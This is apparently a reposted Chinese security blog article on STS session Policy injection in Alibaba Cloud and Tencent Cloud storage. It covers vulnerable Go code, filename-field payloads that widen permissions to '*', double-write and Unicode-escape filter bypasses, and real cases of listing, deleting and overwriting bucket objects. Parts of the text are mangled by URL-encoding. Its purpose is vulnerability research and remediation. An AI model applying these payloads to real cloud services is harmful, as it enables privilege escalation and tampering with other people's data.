万字长文学习云安全STSPolicy注入在漏洞挖掘中的妙用"

admin 2026-10-24 13:14:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

万字长文学习云安全 STS Policy注入在漏洞挖掘中的妙用

Z2O安全攻防

2026年10月15日 21:08
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

以下文章来源于亿人安全
,作者行之

亿人安全
.

知其黑,守其白。手握利剑,心系安全。主要研究方向包括:Web、内网、红蓝对抗、代码审计、安卓逆向、CTF。

前言

我是行之,好久都没更新了,发一篇最近分析的文章吧。随着云原生架构的普及,针对凭据与身份边界的攻击正成为主流。正好近期得知朋友挖掘了几个严重漏洞,于是跟他学习了一下思路,然后研读了一下海外云安全文献,发现是通过针对%20STS(Security%20Token%20Service,安全令牌服务)的攻击:借助文件名、接口入参等可控字段篡改%20STS%20令牌下发逻辑,通过%20STS%20Policy%20注入获取高权限临时令牌,由此触发高危云上漏洞。原本计划讲个议题的,但国内相关研究文章偏少,既然没什么文章基础,于是先写篇长文沉淀一下,本文是我的学习过程,会从%20AK/SK、STS%20的基础原理讲起,搭配本地靶场搭建与真实的实战案例,为国内安全同行、白帽子提供攻防思路参考。本文纯手写原创,全文共一万字,欢迎各位安全同行交流探讨,也在此感谢先知社区提供发布平台。

一、先从一个最熟悉的注入说起:SQL

首先讲解STS云注入,我们最好先回到所有人都见过的%20SQL%20注入。它的本质其实是用户输入的数据被当作数据库代码进行了执行,也就是输入流入侵到了控制流的一个过程。

后端这么去写:

SELECT%20\*%20FROM%20uploads%20WHERE%20owner%20=%20'{input}';

开发者心里,input只是一个字符串值。正常输入alice时,数据库看到:

SELECT%20\*%20FROM%20uploads%20WHERE%20owner%20=%20'alice';

但当input变成alice'%20OR%20'1'='1,前面那个单引号先把原字符串闭合,后面的内容就进入了%20SQL%20语法,数据库最后看到的是一个永真条件:

SELECT%20\*%20FROM%20uploads%20WHERE%20owner%20=%20'alice'%20OR%20'1'='1';

记住这条数据流,下面会把同一个解释器换成%20JSON%20和云授权:

用户输入%20→%20字符串拼接%20→%20某门语言的源码%20→%20解释器%20→%20改变了语义

这里关于SQL注入,笔者不再赘述。历史上的很多漏洞都是输入流入侵到了控制流的过程,例如

SSTI(模板注入):输入进入%20Freemarker、Velocity、Jinja2%20的模板语法,${}%20或%20#{}%20之间的内容被模板引擎当代码渲染,变成%20RCE

Log4Shell(Log4j%20JNDI):输入的字符串里带%20${jndi:...},本该只是一行日志,却被%20Log4j%20当成查找指令触发%20JNDI%20加载,RCE。

所以只要我们能够找到输入流和控制流之间的关系,就可以更好的挖掘漏洞。

二、STS到底是个什么东西?

关于STS,很多人挖洞看到的通常是AK、SK、还有一个Token,比如长这个样子。

然后测试的时候一般会尝试能不能../../../或者直接调用一些现有的安全工具对这个下发的sts安全凭证进行测试,我们也可以在公众号上看到一些前辈发的文章和工具

但其实我们在挖掘一个东西之前,要去深入的了解这个东西,于是我们可以看一下云厂商文档对于STS的介绍。

其中我们可以看到一个有趣的东西,就是它的名字叫做Security%20Token%20Service,翻译过来就是安全令牌服务,那么为什么要这个东西呢,其实在早期阶段,存储桶刚出来的时候。很多开发在做文件上传,喜欢把AccessKey%20Secret硬编码在前端,来做文件上传。后来通过很多工具,例如Hae、或者Yakit,都可以对此类密钥进行扫描。互联网上关于AKSK的利用工具也是层出不穷。例如笔者曾经用过的一款teamssix%20的cf(Cloud%20Exploit%20Framework,云利用工具)(现已停更),就有很多的功能。因此云厂商后来统一推荐用%20STS:简单来说,就是由可信后端保管长期凭证,或者通过%20RAM%20角色获取调用%20STS%20的权限(这里用的比较多的就是PutObject和GetObject),再针对当前这一次上传签发一组临时凭证。这组凭证的有效期可以很短,权限也可以通过会话%20Policy%20进一步收窄,比如只允许向指定存储桶、指定目录,甚至指定对象上传文件。这样一来,长期%20AK/SK%20就不需要进入前端;即使临时凭证意外泄露,攻击者能够利用的时间和权限范围也都比较有限。

如果还是听不懂的话,我们可以来看看这个例子

很多业务都有\"用户往对象存储传文件\"的场景:工单附件、客服图片、头像、竞赛作品上传。把长期%20AccessKey%20放进浏览器是不可能的(谁拿到页面谁能复用),所以正常做法是:

用户登录业务系统;

浏览器要传文件时,先问业务后端要一份

短期凭证

;

业务后端用自己的长期身份,向云厂商申请一枚%2015%20分钟的临时凭证(STS);

浏览器拿着这枚临时凭证,

直接

把文件传到对象存储。

三、一个简单的输入流入侵到了控制流案例

如果放到代码上,我们可以手搓一个真实的业务环境,这里就拿官网的API文档举例

这里我们需要先去创建一个RAM%20用户,拿到AccessKey%20ID%20和%20AccessKey%20Secret

{

\"Version\":%20\"1\",

\"Statement\":%20[

//Statement%20是具体的授权规则列表

{

\"Effect\":%20\"Allow\",

//Effect%20表示这条规则的效果。常见取值有:Allow:允许。Deny:拒绝。这里默认是Allow放过去

\"Action\":%20\"oss:PutObject\",

//动作,这里可以从文档里面获取,PutObject就是可以上传对象,ListObject就是列出对象

\"Resource\":%20\"acs:oss:\:\:examplebucket/exampledir/\*\"

//持有这份权限的身份,可以向%20examplebucket%20存储桶中所有以%20exampledir/%20开头的对象写入文件,但没有读取、删除或访问其他目录的权限。

}

]

}

在权限编辑页面,我们可以选择对角色权限进行编辑,以上是笔者自己从官网获取到的

oss%20:%20PutObject

│%20 %20 %20 %20│

│%20 %20 %20 %20└──%20具体操作:写入对象

└──────────%20云服务:对象存储%20OSS

oss:PutObject%20主要用于向%20OSS%20上传或写入对象。比如:

exampledir/avatar.png

exampledir/report.pdf

exampledir/2026/07/demo.txt

Resource 表示这条权限可以作用在哪些资源上。把它拆开来看:

acs : oss : \ : \ : examplebucket / exampledir/\*

│     │     │   │          │              │

│     │     │   │          │              └─ 对象名称前缀

│     │     │   │          └──────────────── Bucket 名称

│     │     │   └─────────────────────────── 阿里云账号范围

│     │     └─────────────────────────────── 地域region

│     └───────────────────────────────────── 云服务

└─────────────────────────────────────────── 阿里云资源名称前缀

为什么我不能任意对象读取?

在传统文件系统中: exampledir/../../target.txt 会被路径解析函数归一化为: ../target.txt 因此可能逃出原来的目录。 但 OSS 使用的是 Object Key,不是真实文件路径。阿里云官网明确说明,OSS 本身没有传统文件系统的文件夹概念,只是通过 Key 中的 / 模拟目录效果。所以在 OSS 语义中: exampledir/../../target.txt 通常表示的就是一个完整 Key: Key = \"exampledir/../../target.txt\" .. 并不天然具有“返回上级目录”的含义。它不会自动变成: target.txt 如果会话 Policy 是: \"Resource\": \"acs:oss:\:\:examplebucket/exampledir/\*\" 那么 exampledir/../../target.txt 即使被接受,仍然只是一个以 exampledir/ 开头的 Key。它不会因此覆盖 Bucket 根部真正名为 target.txt 的对象。

简单来说就是无论你在客户端怎么传递,到了调用的时候其实还是会以字符串的形式进行传入,不能从输入流入侵到控制流。

哪些情况下会真的出现跨范围写入

这里自己学习了开发角度,就可以很容易明白如下这个案例

通过获取到的STS也是不能直接对OSS%20Browser拥有登录权限的

这里我们去看一下代码

在获取/api/v1/sts路由过来的fulPathFid参数后,发送给了AssumeRole(fullPathFid)

这里发现并没有对传递进来的内容做任何限制,而是传递到了下一层的provider.go

这里的第一个参数为bucket的值,是不可控的。第二个是fullpath的值,也就是文件名,此时文件名可控,所以最后的数据流转过程就是

main.go:77

读取%20文件名

↓

main.go:87

p.AssumeRole(fid)

↓

aliyun.go:24

生成%20Policy

↓

provider.go:38-41

fmt.Sprintf%20拼接%20fullPathFid

↓

aliyun.go:38

Policy%20放入%20AssumeRoleRequest

↓

aliyun.go:40

调用%20STS%20AssumeRole

↓

aliyun.go:45-55

返回临时%20STS%20凭证

还记得我们之前说过什么么,我们要找的是输入流可以入侵控制流的过程。我们来看这段代码

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:%s/%s\"

]

}

]

}

此时我们知道了最后一个地方可以控制,那我们是不是可以注入写成

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:存储桶的名字/x\"

],

\"Action\":%20[

\"oss:ListObjects\"

],

\"Resource\":%20[

\"acs:oss:\:\:存储桶的名字\"

]

}

]

}

这里很多人可能看不懂我在干什么,如果我把Payload拿出来应该就可以看得懂了。

这里的%20Payload%20会被放进原始%20Policy%20模板中第二个%20%s%20对应的位置。

原始代码是:

func%20aliyunVulnerablePolicy(bucket,%20fid%20string)%20string%20{

return%20fmt.Sprintf(

{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:PutObject\"],\"Resource\":[\"acs:oss:\\*:\\*:%s/%s\"]}]},

bucket,%20fid)

}

假设

bucket%20=%20BUCKET

fid%20=%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\*

拼接后大致会变成:

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:BUCKET/x\"

],

\"Action\":%20[

\"oss:ListObjects\"

],

\"Resource\":%20[

\"acs:oss:\:\:\*\"

]

}

]

}

这里我们依旧需要先理解几个基本概念。前面已经提到,Action%20代表允许执行的操作,Resource%20代表这些操作可以作用的资源。原本的代码只给%20Policy%20配置了:

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

]

拼接后的数据到底到了哪里?

因此,正常情况下,这份%20Policy只允许读取和上传对象,并没有%20oss:ListObjects%20权限。%20但现在,我把文件名参数当作%20Payload%20传入:%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\%20其中:%20x\"]%20用于闭合原来%20Resource%20数组中的字符串和数组;%20,\"Action\":[\"oss:ListObjects\"]%20用于追加新的%20Action%20字段;%20,\"Resource\":[\"acs:oss:\:\:\%20用于追加新的%20Resource%20字段,并把资源范围扩大到更大的范围。%20最后,原始模板后面剩余的:%20\"]}]}%20继续补全整个%20JSON%20结构。%20因此,问题并不是我们修改了%20Go%20源码中的%20Action,而是通过文件名参数注入,让原本只应当作为数据使用的%20fid%20参与了%20Policy%20JSON%20的生成。后端随后把这段拼接结果交给阿里云%20SDK,SDK%20再调用%20STS%20的%20AssumeRole%20接口申请临时凭证。

最终得到的Payload就变成了

?fid=x%22%5D%2C%22Action%22%3A%5B%22\%22%5D%2C%22Resource%22%3A%5B%22\

这里出现了重复键Action。绝大多数%20JSON%20解析器对重复键采用\"后者覆盖\",于是这条%20Statement%20的Action最终是[\"\\",\"\"],Resource是[bucket/\,%20\*]——一条%20Statement、Statement%20数还是%201,但权限已经被放大到\"任意动作、任意资源\"(受角色上限约束)。

所以%20Policy%20注入和%20SQL%20注入同构:边界字符从单引号换成双引号、方括号、花括号;解释器从%20SQL%20parser%20换成%20JSON%20parser%20+%20云端授权。修复思路也一样:数据保持数据,不让它参与语法生成。

漏洞验证

使用Policy注入得到的高权限STS接管存储桶进行列桶

这里需要注意的是我们的权限在到Action上限的约束,没有办法对文件进行删除(但是真实环境中一般都会给ram,控制台,文件管理权限)

复盘一下链路

浏览器%20 GET%20/api/v1/sts?fullPathFid=X

→%20后端%20handler

→%20provider.go%20的%20aliyunVulnerablePolicy(bucket,%20X)%20 %20把%20X%20拼进%20Policy%20JSON

→%20把这段%20Policy%20作为%20Policy%20参数传给%20STS%20SDK%20的%20AssumeRole

→%20SDK%20把它%20URL%20编码%20+%20HMAC%20签名,发%20HTTP%20GET%20到

https://sts.aliyuncs.com/?Action=AssumeRole&...&Policy=&Signature=...

→%20STS%20返回临时凭证(AccessKeyId/Secret/SecurityToken/Expiration%20+%20RequestId)

→%20后端把临时凭证交给浏览器

→%20浏览器用临时凭证%20PUT%20到对象存储

所以\"拼接后的语句\"经过的是:后端代码%20→%20SDK%20→%20一条签名后的%20HTTP%20GET(Policy%20在%20query%20里)→%20STS。

[AssumeRole]%20provider=aliyun%20fullPathFid=\"\\\",\\"\\\"],\\"Action\\":[\\"\*\\",\\"\"

拼接后发给%20STS%20的%20Policy:%20{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:PutObject\"],\"Resource\":[\"acs:oss:\:\:sts-policy-article-20260725-7f3a/\\",\"\\"],\"Action\":[\"\*\",\"\"]}]}

(经%20SDK%20签名为%20HTTP%20请求发往%20STS

其他的云是否也可以这么利用?

我们来看一下其他云的逻辑,可以发现整体上的区别是不大的,只是在Policy申请的时候有一些细微的区别。

这里需要跟上用户id

这里其实都差不多,跟着文档走即可

这里还是先配置一个策略

我们赋予多个权限

唯一不同的是我在这里配置Action为所有

之后就是创建角色,然后在Policy后端对权限进行收缩。确保只有Put%20Object和GetObject权限

这里我们的代码其实并不需要大改

后端的代码为

func%20tencentVulnerablePolicy(region,%20appID,%20bucket,%20fid%20string)%20string%20{

return%20fmt.Sprintf(

{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:GetObject\",\"cos:PutObject\"],\"resource\":[\"qcs::cos:%s:uid/%s:%s/%s\"]}]},

region,%20appID,%20bucket,%20fid)

}

注入的Payload为

uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\

腾讯云%20COS%20的资源格式通常写成:

qcs::cos::uid/:/

比如我的是:

qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt

腾讯云%20COS%20的%20Resource%20通常需要使用包含地域、AppID、Bucket%20和%20Object%20Key%20的完整%20qcs%20格式,因此最初构造的%20Payload%20比较长。不过,经过实测,腾讯云%20STS%20也接受%20Resource:[\"\\"]%20这种通配资源写法。因此,在当前字符串拼接模板下,可以将%20Payload%20缩短为:uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\该%20Payload%20先闭合原有的第一条%20Statement,再追加一条%20Action:\、Resource:\*%20的新%20Statement。腾讯云%20STS%20实际接受了这份%20Policy,返回结果中包含两条%20Statement。最终权限仍然受到%20CAM%20角色权限上限和其他显式拒绝策略的约束。

因此最终可以变成:

{

\"version\":%20\"2.0\",

\"statement\":%20[

{

\"effect\":%20\"allow\",

\"action\":%20[

\"cos:GetObject\",

\"cos:PutObject\"

],

\"resource\":%20[

\"qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt\"

]

},

{

\"effect\":%20\"allow\",

\"action\":%20[

\"\*\"

],

\"resource\":%20[

\"\*\"

]

}

]

}

这里需要注意:腾讯云会拒绝重复键,因此,腾讯云的做法不是在同一条%20Statement%20中重复写一个action,然后等待后者覆盖前者,而是先把原来的%20Statement%20关闭,再追加一条全新的%20Statement。statement%20本身就是一个数组,数组里的每个对象就是一条独立的授权语句,所以第二个%20{%20\"effect\":%20\"allow\"%20...%20}%20直接作为%20statement%20数组的第二个元素即可。若在它上面再嵌套一个%20\"statement\",就会改变

策略结构,通常会导致格式错误或被云厂商拒绝。

五、真实业务下的STS权限注入 sts提权导致的文件覆盖

我们使用ai分析这个加密%20直接就把它解密出来了

即可利用提升权限的sts对resource的其他人的业务资源进行覆盖(没提升权限的sts无权限)

sts提权导致的列桶

这里存在一个%20Policy%20注入Policy%20后面会把就是把前面的覆盖所以我们相对于拿到这个桶的完全权限了,我们调用它的%20sdk%20就可以看到%20Listobject%20key

这个%20sdk%20可以获取全部的%20key,删除也没问题

这个%20key%20就会被我们删除然后配合%20listobject%20key%20就可以直接清空桶的内容

覆盖也没有问题%20这个配合%20list%20我们就可以覆盖别人的文件内容,但是为了不影响业务我就不执行这个

六、不同厂商的%20payload%20为什么不一样 第一个区别:注入点不同

阿里云的模板类似:

{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:PutObject\"],\"Resource\":[\"acs:oss:\\*:\\*:%s/%s\"]}]}

这里用户输入位于:

acs:oss:\:\:BUCKET/

腾讯云的模板类似:

{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:GetObject\",\"cos:PutObject\"],\"resource\":[\"qcs::cos:%s:uid/%s:%s/%s\"]}]}

这里用户输入位于:

qcs::cos:REGION:uid/APP\_ID:BUCKET/

两边都是把输入放进%20Resource,但前面的固定内容和后面的固定内容不一样。因此,同一个%20Payload%20字节放进去后,生成的%20JSON%20结构也会不同。

第二个区别:字段大小写不同

阿里云%20Policy%20使用:

{

\"Version\":%20\"1\",

\"Statement\":%20[],

\"Effect\":%20\"Allow\",

\"Action\":%20[],

\"Resource\":%20[]

}

腾讯云%20COS%20使用:

{

\"version\":%20\"2.0\",

\"statement\":%20[],

\"effect\":%20\"allow\",

\"action\":%20[],

\"resource\":%20[]

}

因此,阿里云的注入片段要写:

\"Action\":[\"\\"],\"Resource\":[\"\

腾讯云则要写:

\"action\":[\"\\"],\"resource\":[\"\

如果大小写写错,Policy%20可能被当成未知字段,或者直接被%20API%20拒绝。

第三个区别:重复键的处理不同

阿里云接受类似这样的结构:

{

\"Action\":%20[\"oss:GetObject\"],

\"Action\":%20[\"\*\"]

}

在本次验证中,后出现的Action被采用,所以只需要在原来的%20Statement%20中追加重复键,最终仍然只有一条%20Statement。

腾讯云的情况不同。类似结构会触发:

Policy%20have%20duplicate%20key:%20action

因此腾讯云不能沿用阿里云的“重复键覆盖”路线,而要改成新增%20Statement:

{

\"statement\":%20[

{

\"action\":%20[\"cos:PutObject\"],

\"resource\":%20[\"OBJECT\_KEY\"]

},

{

\"action\":%20[\"\*\"],

\"resource\":%20[\"\*\"]

}

]

}

这就是为什么腾讯云%20Payload%20会比阿里云%20Payload%20多出:

\"]},{

它的作用是结束第一条%20Statement,并开始第二条%20Statement。

这里我就不再多说了,直接去不同的云厂商编辑一下策略就可以明白了

第四个区别:Resource%20是否需要写完整资源串

如果想把权限限制在当前%20Bucket,一般写完整的%20COS%20Resource:

qcs::cos:REGION:uid/APP\_ID:BUCKET/\*

这种写法粒度比较明确,但%20Payload%20很长。

如果当前腾讯云%20STS%20API%20接受:

\"resource\":%20[\"\*\"]

那么可以使用更短的%20Payload:

uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\

这两个%20Payload%20的区别只是%20Resource%20范围不同:

qcs::cos:REGION:uid/APP\_ID:BUCKET/\*

表示当前%20Bucket%20下的对象范围,而:

\*

表示更宽的资源通配范围。

不过,Resource:\并不自动等于拿到所有云资源。STS%20最终权限仍然需要和%20CAM%20角色权限取交集。如果角色只有%20COS%20上传权限,注入后仍然只会在这个上限内生效;如果角色同时拥有%20CVM、COS%20管理或其他服务权限,实际影响面就会更大,例如qcs::cos:\,最终权限永远受角色/CAM%20上限、会话%20Policy、显式%20Deny%20和服务自身资源模型共同限制。Action:\与Resource:\只是请求的权限集合,不会超出角色上限。

第五个区别:Statement%20数量只是结构差异

阿里云的Payload:

Statement%20数量:1

腾讯云的短%20Payload:

Statement%20数量:2

阿里云依赖重复键,所以一条%20Statement%20就能覆盖字段;

腾讯云拒绝重复键,所以要新增%20Statement;

单纯传入

\*

时,甚至可以保持一条%20Statement,只把%20Resource%20放宽到

BUCKET/\*

。

真正需要检查的是每条%20Statement%20的:

Effect

Action

Resource

Condition

最后总结

漏洞根因相同:用户输入进入%20Policy%20语法

注入目标相同:扩大%20Action%20或%20Resource

实现路径不同:适应各自的%20Policy%20解析规则

阿里云当前路径可以概括为:

闭合字符串%20→%20重复键覆盖%20→%20Statement=1

腾讯云当前路径可以概括为:

闭合字符串%20→%20新增%20Statement%20→%20Statement=2%20或%203

因此,换云时不能只替换oss和cos这两个动作前缀。还需要重新确认:

Policy%20字段大小写;

Resource%20格式;

Action%20前缀;

重复键是否被接受;

Resource:[\"\*\"]

是否被接受;

原始模板尾部需要如何补齐;

CAM%20或%20RAM%20角色自身的权限上限。

七、绕过链:从%20Policy修复到Unicode二次注入

这里也是感谢朋友给提供的案例,在平台显示修复后,去问AI可能的修复方式,因为之前已经知道了此家厂商喜欢用Go语言作为主语言进行开发(返回头也有具体版本),因此本地搭建环境尝试进行绕过。

这里AI给的例子是

strings.ReplaceAll(input,%20\"\*\",%20\"\")

strings.ReplaceAll(input,%20\"Action\",%20\"\")

strings.ReplaceAll(input,%20\"{\",%20\"\")

strings.ReplaceAll(input,%20\"}\",%20\"\")

开发喜欢这么修复

func%20weakSanitize(input%20string)%20string%20{

for%20\_,%20token%20:=%20range%20[]string{\"\*\",%20\"Action\",%20\"{\",%20\"}\"}%20{

input%20=%20strings.ReplaceAll(input,%20token,%20\"\")

}

return%20input

}

对字符串去进行替换,可以进行修复。但是我们学过sql注入知道一个东西叫做双写绕过。因此我在思考的过程中也是尝试用SQL注入的双写进行绕过。原本的payload可以替换成

Action-》ActACtionion

{->{{

也可以利用unicode去绕过它

\u002a%20是%20JSON%20标准中的%20Unicode%20转义写法,绝大多数主流语言的%20JSON%20解析器都会把它解析成%20\*。

{

\"action\":%20[\"\u002a\"]

}

解析后通常等价于:

{

\"action\":%20[\"\*\"]

}

这里我觉得也没必要太过于解释,做安全的应该都学过

这里也可以去云厂商进行Debug一下,发现其实云厂商也是支持这种写法的

随便输入一个不存在的Unicode提示不正确

输入\*编码后的

因此朋友后面又靠绕过特殊字符拿到了高危

uploads/alice/x.txt\"],\"\u0041ction\":[\"\u002a\"],\"\u0052esource\":[\"\u002a

uploads/alice/x.txt\"],\"\u0061ction\":[\"\u002a\"],\"\u0072esource\":[\"\u002a

等%20JSON%20解析完成后,才还原成真正的字段名和通配符。用于闭合原始%20Resource%20字符串的%20\"%20仍需保留。

八、为啥我输入\*不能列桶?

在写这篇文章的时候,有小伙伴问了我一个问题,那既然输入流可以入侵到控制流,为什么在配置了ListObjects权限的时候,用\*当作文件名不会列桶呢,带着疑问去做了一下复现。

这一节需要先区分两个概念:对象级权限扩大,以及%20Bucket%20级列举权限。

假设开发人员配置了如下%20Policy:

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\",

\"oss:ListObjects\"

],

\"Resource\":%20[

\"acs:oss:\:\:BUCKET/\*\"

]

}

]

}

这里包含三个动作:

oss:GetObject

:读取对象;

oss:PutObject

:写入对象;

oss:ListObjects

:列举%20Bucket%20中的对象。

其中,GetObject和PutObject通常针对对象资源,而ListObjects通常是%20Bucket%20级操作。因此,不能只看%20Action%20列表,还要同时检查每个动作对应的%20Resource%20是否符合云厂商的权限模型。

传入普通文件名时发生什么

假设服务端使用下面的模板:

resource%20:=%20fmt.Sprintf(

\"acs:oss:\:\:%s/%s\",

bucket,

fullPathFid,

)

传入:

123.png

得到:

acs:oss:\:\:BUCKET/123.png

这个 Resource 通常只匹配一个对象。此时可以测试GetObject和PutObject是否限制在该对象范围内。

但是,不能简单地说“对 123.png 拥有 ListObjects 权限”。ListObjects通常要求 Bucket 级 Resource,常见形式是:

acs:oss:\:\:BUCKET

而不是:

acs:oss:\:\:BUCKET/123.png

如果云厂商不接受对象级 Resource 绑定到ListObjects,列举请求会返回AccessDenied。

把文件名改成 \* 会发生什么

传入:

\*

服务端会生成:

acs:oss:\:\:BUCKET/\*

ListObjects 是 Bucket 级的列举操作,不是针对某个单独对象的读取操作。因此不能像 GetObject 一样,把权限精确收缩到了:

BUCKET/uploads/alice/123.png

这里我测试的结果是其实会报错,列举授权

通常是 Bucket 级;请求可携带 prefix 只返回某个前缀。prefix 是结果过滤参数,不等于 Policy 把 ListObjects 收缩到单个对象。

什么情况下才可以列桶

要让 STS 真正执行列桶,通常需要同时满足:

Action 中包含

oss:ListObjects

;

Resource 使用云厂商要求的 Bucket 级格式;

RAM 角色本身允许该动作;

没有显式 Deny;

请求的 Bucket、地域和 Endpoint 正确。

更清晰的 Policy 应拆成对象级和 Bucket 级两条 Statement:

{

\"Version\": \"1\",

\"Statement\": [

{

\"Effect\": \"Allow\",

\"Action\": [

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\": [

\"acs:oss:\:\:BUCKET/uploads/alice/123.png\"

]

},

{

\"Effect\": \"Allow\",

\"Action\": [

\"oss:ListObjects\"

],

\"Resource\": [

\"acs:oss:\:\:BUCKET\"

]

}

]

}

但如果所有上传请求都直接获得第二条 Statement,那么普通用户无需输入\*,申请一次正常 STS 就可能列桶。这属于上传凭证权限配置过宽,你也可以理解成脱裤子放屁,直接sts拿cdk探测权限就探测出来了,无论你输入啥他肯定都有这个权限

所以在输入\*的时候其实并不会当作资源通配符去解析,也就不存在列桶的问题

九:文末

STS Policy 注入的价值,其实仍然在于输入流入侵控制流这个老问题。当文件名、目录、扩展名、Object Key 等原本只应作为业务数据使用的参数,跨越数据边界进入 JSON Policy、模板、命令或查询语句时,它们就可能改变原本的授权语义。最终造成的未必都是传统意义上的代码执行,也可能是动作范围扩大、资源范围扩大、跨目录访问、对象覆盖,甚至临时凭证权限提升。

所以审计 STS 相关接口时,重点不只是看有没有下发临时凭证,而是要继续思考:用户输入最终进入了哪里?服务端生成了怎样的Action、Resource、Condition 和 Object Key?角色上限是什么?这份临时凭证在数据面实际可以做什么?

感谢 weiwei、zer0one、Clown 、知名小朋友等师傅在案例、思路和测试细节上提供的帮助。

参考文献

[1] 《STS 身份注入攻击》

https://mp.weixin.qq.com/s/RGHT7brTuLaJ91ouaLvRzQ

[2] 阿里云 RAM:AssumeRole API

https://help.aliyun.com/zh/ram/developer-reference/api-sts-2015-04-01-assumerole

[3] 阿里云 RAM:权限策略基本元素

https://help.aliyun.com/zh/ram/user-guide/policy-elements

[4] 腾讯云 CAM:策略语法

https://cloud.tencent.com/document/product/598/10603

[5] AWS IAM:Session Policies

https://docs.aws.amazon.com/IAM/latest/UserGuide/access\_policies.html#policies\_session

[6] AWS STS:AssumeRole API

https://docs.aws.amazon.com/STS/latest/APIReference/API\_AssumeRole.html

    等级保护建设:安全建设管理—产品采购和使用" 网络安全文章

    等级保护建设:安全建设管理—产品采购和使用"

    本文解析等级保护中产品采购和使用管理要求,强调依法采购合规网络安全产品、密码产品符合国家密码管理要求、开展选型测试并建立候选产品名单,融入供应链安全治理理念,参考国际标准,形成覆盖全生命周期的安全管理机制,为等保建设提供可操作指导。
    多款产品入选!|《工业控制系统信息安全产品及服务指南(2026版)》发布" 网络安全文章

    多款产品入选!|《工业控制系统信息安全产品及服务指南(2026版)》发布"

    工业控制系统信息安全产业联盟发布《工业控制系统信息安全产品及服务指南(2026版)》,交大捷普自主研发的工业防火墙、工业网闸及漏洞扫描系统等多款国产化产品入选。该指南旨在为工业用户提供选型参考,应对IT与OT融合趋势下的合规升级与安全挑战。捷普未来将持续深耕工业互联网安全领域,赋能产业融合发展。
    评论:0   参与:  0